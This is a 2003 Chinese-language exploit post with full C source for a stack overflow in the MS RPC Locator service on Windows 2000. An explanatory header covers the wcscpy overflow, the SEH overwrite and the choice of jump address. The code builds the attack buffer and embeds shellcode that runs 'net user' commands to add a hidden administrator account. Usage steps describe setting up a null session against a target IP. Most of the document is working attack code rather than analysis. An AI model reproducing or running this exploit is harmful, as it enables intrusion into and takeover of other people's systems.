MS RPC LOCATOR Service Exploit for win2k(new version)创建时间:2003-04-07 文章属性:原创 文章提交:eyas (ey4s_at_21cn.com) /*------------------------------------------------------------------------------------ Created at: 2003-04-05 Last updated: 2003-04-07 前几天在packetstorm下载rpcexp.c试了试,没成功,但locator服务却当掉了。于是便想看看到底怎么 回事。后来找到点资料,原来是个stack溢出,问题出在wcscpy函数。跟踪了一下,函数调用关系是 这样的: locator!Locator::nsi_binding_lookup_begin: |__locator!Locator::nsi_binding_lookup_begin_name: |__locator!CRemoteLookupHandle::finished: |__locator!CBroadcastLookupHandle::initialize: |__locator!getBroadcastResults |__locator!formQueryPacket |__wcscpy <-- buff overflow getBroadcastResults函数的返回地址在buff+0x514处,经测试,win2k中文、英文 sp0-3版本的 溢出点都一样。但是如果覆盖getBroadcastResults函数的返回地址,在locator!formQueryPacket 后面的代码运行会出现0xC0000005错误,这样的话,那就只好覆盖SEH了。Exception Handler地址 存放在buff+0x504处,中英文sp0-3版本都一样。Marcin Wolak写的rpcexp.c 的jmpaddr为0x0090F8F0, 我估计这个地址是他自己在测试的时候,shellcode存放的地址,他在SEH处直接跳到shellcode去了, 因为我在测试的时候,wcscpy将我们的buff copy到0x009xxxxx附近,当然, 这在不同平台上测试的 时候会有所不同,甚至相差很大。仅仅是猜测而已,因为我初学这个,看不懂他的代码:(。 改写后的SEH显然在这里指向jmp esp是不行了,后来跟踪的时候发现, 当Exception发生后, Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前存放Exception Handler地址的 地址-4,即是说假如Exception Handler地址存放在0x0098F8EC,那么EBX值就为0x0098F8E8。这样的话, 改写Exception Handler地址为call ebx的地址就可以执行我们的shellcode了。后来回过头来看莫大 的文章时,才看到在他文章里面这个已经写的比较详细了,我看资料太不认真了:(。不过莫大没有说 原理,所以到底为什么会这样,我也不知道。 call ebx的地址在不同平台上并不通用,后来看了一下各平台上的locator.exe版本,发现sp0、sp1 中版本为都为5.0.2195.1,sp2版本为5.0.2195.2505,sp3版本为5.0.2195.3761,打过补丁后的版本 为5.0.2195.6136。locator.exe版本改动较少,于是便决定用locator.exe里面的call ebx地址,kernel32 这些dll,几乎每个hotfixs都要更新,用里面的call ebx地址就很不通用了。 搜索的时候发现sp1、sp2中call ebx地址相同的有10个,sp1和sp3中有一个相同地址,sp2和sp3 无相同地址。但是也发现一个很好玩的地方,例如sp1中在0x0100a8eb有call ebx,那么sp3中在0x0100a8ec 也有个call ebx,嘿嘿。。 经过比较,jmp addr我决定用0x0100AEE5,在sp0、sp1、sp2中, 0:004> u 0x0100AEE5 0100aee5 ffd3 call ebx 在sp3中, 0:004> u 0x0100AEE5 0100aee5 40 inc eax 0100aee6 ffd3 call ebx 我们发送的buff结构如下: |rpc_head_info?(8)|NOP(0x4F8)|jmp 0xA(2)|NOP(2)|call ebx addr(4)|NOP(4)|shellcode| shellcode没什么特殊要求,只要没有"\x00\x00"就可以了,不然会被wcscpy截短。 shellcode代码大部分直接来自莫大的文章,感谢他,感谢莫大、backend、ipxodi等精彩的 关于windows平台缓冲区溢出的文章。 -------------------------------------------------------------------------------------*/ #define UNICODE #define RPC_UNICODE_SUPPORTED #include <stdio.h> #include <rpc.h> #include <rpcnsi.h> #pragma comment(lib, "rpcns4.lib") //SEH Handler地址偏移,win2k所有版本溢出点都一样 #define sehoffset 0x504 //call ebx addr in locator.exe process /* sp0 sp1 sp2 0:004> u 0x0100AEE5 0100aee5 ffd3 call ebx sp3 0:004> u 0x0100AEE5 0100aee5 40 inc eax 0100aee6 ffd3 call ebx */ #define JMPADDR "\xE5\xAE\x00\x01" #define JMPOVER "\xEB\x0A\x90\x90"//jmp 0xa //hey,guy,you should modify this code slightly by yourself. char shellcode [] = "\x55\x8B\xEC\xEB\x64\x5A\xB8\x04" "\x00\xF1\x77\x81\x38\x4D\x5A\x90" "\x00\x74\x03\x48\xEB\xF5\x8B\xD8" "\x8B\x73\x3C\x03\xF3\x8B\x76\x78" "\x03\xF3\x8B\x7E\x20\x03\xFB\x8B" "\x4E\x14\x33\xED\x56\x57\x51\x8B" "\x3F\x03\xFB\x8B\xF2\x33\xC9\x83" "\xC1\x0E\xF3\xA6\x74\x08\x59\x5F" "\x83\xC7\x04\x45\xE2\xE7\x59\x5F" "\x5E\x8B\xCD\x8B\x46\x24\x03\xC3" "\xD1\xE1\x03\xC1\x33\xC9\x66\x8B" "\x08\x8B\x46\x1C\x03\xC3\xC1\xE1" "\x02\x03\xC1\x8B\x00\x03\xC3\xEB" "\x02\xEB\x37\x8B\xFA\x8B\xF2\x89" "\x06\x83\xC7\x0F\x57\x53\xFF\xD0" "\x83\xC6\x04\x89\x06\x83\xC7\x08" "\x57\x53\x8B\x46\xFC\xFF\xD0\x83" "\xC6\x04\x89\x06\x33\xC0\x50\x83" "\xC7\x06\x57\x8B\x46\xFC\xFF\xD0" "\xB8\xFF\xFF\xFF\xFF\x50\x8B\x06" "\xFF\xD0\xE8\x5E\xFF\xFF\xFF" "getprocaddress""\x0" "winexec""\x0" "sleep""\x0" "cmd /c net.exe user xx 1a!.9nH /add && net localgroup administrators xx /add"; DWORD WINAPI func(LPVOID lp) { unsigned char buff[4000]; unsigned short * pszStrBinding = NULL; RPC_NS_HANDLE hnsHandle; unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT; RPC_STATUS status; unsigned long i; //填充buff buff[0] = '/'; buff[1] = 0; buff[2] = '.'; buff[3] = 0; buff[4] = ':'; buff[5] = 0; buff[6] = '/'; buff[7] = 0; for (i=8;i<sehoffset-4;i++) { buff[i] = '\x90'; } strcpy(&buff[i], JMPOVER); //jmpaddr可能包含有0 memcpy(&buff[i+4], JMPADDR, 4); strcpy(&buff[i+8], "\x90\x90\x90\x90"); memcpy(&buff[i+12], shellcode, sizeof(shellcode)); RpcTryExcept { status = RpcNsBindingLookupBegin(NsSntxType, (unsigned short *) buff, 0, NULL, 0, &hnsHandle); printf("RpcNsBindingLookupBegin returned 0x%x\n", status); } RpcExcept(1) { printf("RPC Runtime raised exception 0x%x\n", RpcExceptionCode()); } RpcEndExcept return 0; } void usage() { printf( "\nxLocator -- MS RPC LOCATOR Service Exploit for win2k_en_cn_sp0-3\n" "Author: cooleyas@21cn.com 2003-04-07\n" "Based on Marcin Wolak\'s rpcexp.c\n\n" "usage:\n" "1.Set registry values in Your workstation as below:\n" " HKLM\\SOFTWARE\\Microsoft\\Rpc\\NameService\\NetworkAddress = targetIP\n" " HKLM\\SOFTWARE\\Microsoft\\Rpc\\NameService\\ServerNetworkAddress = targetIP\n" "2.Establish null session: net use \\\\targetIP\\ipc$ \"\"/u: \"\"\n" "3.Run Exploit: xLocator\n" " if success,target will add a user \"xx\" passwd is \"1a!.9nH\".\n"); } void _CRTAPI1 main(int argc, char **argv) { if(argc!=1) { usage(); exit(0); } CreateThread(NULL, 0, func, NULL, 0, NULL); Sleep(4000); printf("Done.\n"); } /*End of Main*/ |